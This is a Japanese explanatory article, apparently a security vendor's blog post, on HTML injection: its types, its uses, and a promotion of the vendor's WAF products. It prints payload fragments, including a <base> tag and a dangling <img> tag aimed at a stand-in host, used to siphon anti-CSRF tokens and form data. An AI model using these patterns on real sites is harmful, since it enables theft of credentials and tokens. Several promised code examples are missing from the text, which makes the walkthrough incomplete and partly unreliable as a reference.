サイバーセキュリティの専門家で、主要な脅威について深く理解したいと考えているなら、HTMLインジェクションについて知ることは欠かせません。度重なる問題を引き起こすことで知られるHTMLインジェクションは、サイバーパンクがサイトやアプリを改ざんする際に用いる手法です。
ウェブ開発者や利用者がこの攻撃から守るためには、HTMLインジェクションの仕組みを理解することが重要です。本記事では、HTMLインジェクションの基本、種類、そして予防策について解説します。
この攻撃は、脆弱なウェブサイト要素を狙う主要なサイバー脆弱性です。今日表示される多くのウェブページはHTML、すなわちハイパーテキストマークアップ言語で作成され、利用者がブラウザで特定のページにアクセスする際、どのように表示されるかが決まります。ウェブページの表示命令を利用することで、開発者はページの見た目を即時に決定します。
現在のウェブページは非常にインタラクティブで、過去の利用者の操作がページ内容に影響を与えると考えられています。
検証されていない利用者の入力があると、ウェブページやアプリは攻撃に対し脆弱になります。
熟練のハッカーはこの抜け穴を突き、HTMLインジェクションを仕掛けます。不正な入力を作成することで、HTMLベースのアプリの利用者作成応答にHTMLコードを挿入するのです。
機能面では、HTMLインジェクションはXSS攻撃と非常に似ています。なぜなら、両者とも同じ伝達経路を辿るためです。悪意のある利用者やハッカーが検証されていない入力にHTMLコードを挿入し、ブラウザにそれをターゲットページのHTMLの一部と認識させることで攻撃が成立します。
この攻撃の主な標的は利用者であり、ウェブサーバ自体が狙われるわけではありません。
狙いとして、HTMLインジェクションには主に2つの目的があります:
攻撃は、ターゲットサイトのリンクやデータ入力欄を利用して実行されます。
攻撃を実行するため、ハッカーはサイトの脆弱なHTMLコードを探し出し、HTMLインジェクションを挿入します。特に、コメント、検索欄、お問い合わせフォームなど、多くの利用者が使う部品が狙われやすいのです。
例えば、魅力的なコメントを投稿し、その中にHTMLコードの断片を挿入して、コメントした利用者を改ざんされたページに誘導したり、マルウェアのダウンロードを促したりすることが可能です。ここでは、多くのサイトが利用者の問い合わせを受け付けるために設けているアンケートフォームを例に、攻撃の仕組みを説明します.
利用者が各サイトのアンケートフォームに記入すると、問い合わせ内容、名前、メールアドレス、電話番号などが送信されます。送信後、即時に確認メッセージが表示され、次のように見えます:
この確認メッセージに対応するコードは次の通りです:
コードが簡単に編集でき、脆弱であるため、ハッカーはHTMLインジェクションを容易に挿入できます.
攻撃が成功すると、HTMLインジェクションにより次のような複数のセキュリティ問題が発生する可能性があります:
XSS攻撃: HTMLインジェクションは、脅威者がXSS攻撃を計画するための手法の一つです。これにより、ハッカーは利用者の認証情報や購入時のパスワードなどの重要情報にアクセスし、銀行口座から不正に資金を引き出したり、重要なアカウントのパスワードを盗む恐れがあります.
ウェブサイト改ざん: ハッカーはHTMLインジェクションを用いてウェブページの内容を変更し、攻撃対象の評判を傷つけます。不快な内容が表示されたり、サイト自体が利用不能となることもあります.
マルウェア拡散: HTMLインジェクションやコードインジェクションにより、マルウェアやウイルスが大量に拡散されることがあります.
信頼の喪失: ウェブサイトが正しく動作せず、不適切な内容が表示されると、利用者は安心してアクセスできなくなり、結果として利用者数が大幅に減少します.
ハッカーが攻撃に用いるHTMLインジェクションには、主に2種類があります.
保存型HTMLインジェクションは、攻撃コード(ペイロード)をサーバに保持し、後で利用するものです。大量のHTMLコードが生成されサーバに保存されるため、ハッカーは必要な時に利用できます。一度に複数の利用者を狙う際に用いられます.
反射型は最も一般的な手法で、攻撃コードが各ターゲットに個別に送られます。大量送信は行われないため、手間がかかる場合もありますが、コードが精密にページに埋め込まれるため成功率は高いです.
HTTPのメソッドに応じ、反射型HTMLインジェクションは反射型GET、反射型POST、反射型URLの3種類に分かれます。反射型URLは、サイトのURLを介して注入が行われる方式です.
反射型GETではデータが要求され、反射型POSTではデータが送信されます。ハッカーはページソースを確認し、各要素に適した方法を見極めます.
例えば、攻撃者はログインフォームのソースコードを調査して、適切な注入方法を決定します.
攻撃の目的に応じ、ハッカーは様々なHTMLインジェクションのペイロードを使用します。以下は最も一般的な手法の例です.
特定の利用者から重要な情報を取得するのは、この攻撃の一般的な用途の一つです。ハッカーは、利用者名、メールアドレス、連絡先などを収集するためのフォームにHTMLインジェクションを仕掛けます.
お問い合わせフォーム、アンケート、コメント欄などがその例で、改ざんコードを入力することで偽のログイン画面を表示させます.
URLベースのページでは、<base>タグを利用して機微なデータを収集し、乗っ取るために href='http://example.com/'> というコードが挿入されます.
さらに、検証済みタグの前に<form>タグを挿入することで、完全に検証されたHTMLフォームを不正に取得することもあります.
高度なCSRF攻撃を計画する場合、フォームのhidden入力で送られる反CSRFトークンを抽出するため、HTMLインジェクションが利用されます.
このトークン抽出には、終了していない<img>タグが必要です。成功させるため、タグ内はシングルクォート(例: <img src='http://example.com/record.php?)を用いる必要があります.
シングルクォートにより、その後の内容がURLとして認識されます。ダブルクォートの場合、hidden入力が厳格に管理されたrecord.phpスクリプトに送られ、次のように記録されます:
あるいは、<textarea>タグを使ってCSRFトークンを抽出する方法もあります。この場合、<textarea>以降の内容が入力として送信され、<textarea>および<form>タグは閉じられます.
ただし、ハッカーは利用者がフォームを手動で送信することを確認する必要があります.
最も顕著な例として、サイトの一部の見た目を変更する改ざんがあります。これは、実際の外観を変える攻撃です.
例えば、ビジネスが複数のチャンネルで展開する動画広告にHTMLインジェクションを仕掛けることが可能です.
改ざんは主に、企業サイトのブランドイメージを低下させる目的で行われます.
最後に、HTMLインジェクションは、ウェブページに自動入力されたパスワードを抽出するためにも広く用いられています。これには、ハッカーが適合するフォームを作成する必要があり、作成されるとパスワードマネージャーが即時に自動保存されたパスワードを送信します.
サイバー脆弱性は多岐にわたり、多くの攻撃手法には共通点があります。例えば、XSSとHTMLインジェクションです。しかし、全く同じ脆弱性はなく、共通する部分は一部に過ぎません.
HTMLインジェクションがXSS、SQLインジェクション、JavaScriptインジェクションと比べて被害が小さいのは、データベースへの大きな影響や重要情報の窃取を引き起こしにくいためです.
しかし、サイトの見た目や利用者体験に関しては、他の攻撃よりも影響力があります。前述の攻撃は外観の変更に重きを置いていませんが、HTMLインジェクションは重要なサイト要素を変え、パフォーマンスや利用者体験に影響を与える可能性があります.
ウェブサイトがブランド構築や顧客獲得に重要な役割を果たすことから、データベースへの脅威が小さいとはいえ、HTMLインジェクション攻撃を軽視してはなりません.
データ窃取に関しては、XSSとHTMLインジェクションは類似の手法で動作し、いずれもHTMLを利用して利用者の個人情報の窃取を狙います.
いかなるサイバーリスクも軽視できません。AppSecの専門家は、脆弱性を早急に修正・予防・緩和するための適切な対策を講じる必要があります。以下に、HTMLインジェクションの拡散とリスクを抑えるための有効な方法を示します.
HTMLインジェクションはデータベースに大きな脅威を与えないとはいえ、その影響を軽視することはできません。影響を抑え、発生を防ぐための適切な対応が求められます.
Wallarmは、どのクラウド環境でも導入可能なHTMLインジェクション対策ソリューションを幅広く提供しています。例えば、サイトの各要素を即時に検査し、変更を阻止する高性能なクラウドベースWAAPツールがあります.
このツールは従来のRegEX手法を廃し、誤検知が少ないのが特徴です。一つのツールで、あらゆるAPI、マイクロサービス、クラウド環境を守ることができます.
Wallarm WAF自体も優秀ですが、独自WAFを利用する場合、より高度なWAFテストツールも提供されています。GoTestWAFは、WAFの即時機能を検証し、十分な保護が施されているか確認するためのWallarmのプラットフォームです.
HTMLインジェクションなどを正確に検知するため、コードごとのセキュリティスキャンが可能なAPIセキュリティおよびテストツールの利用も検討できるでしょう.
最新情報を購読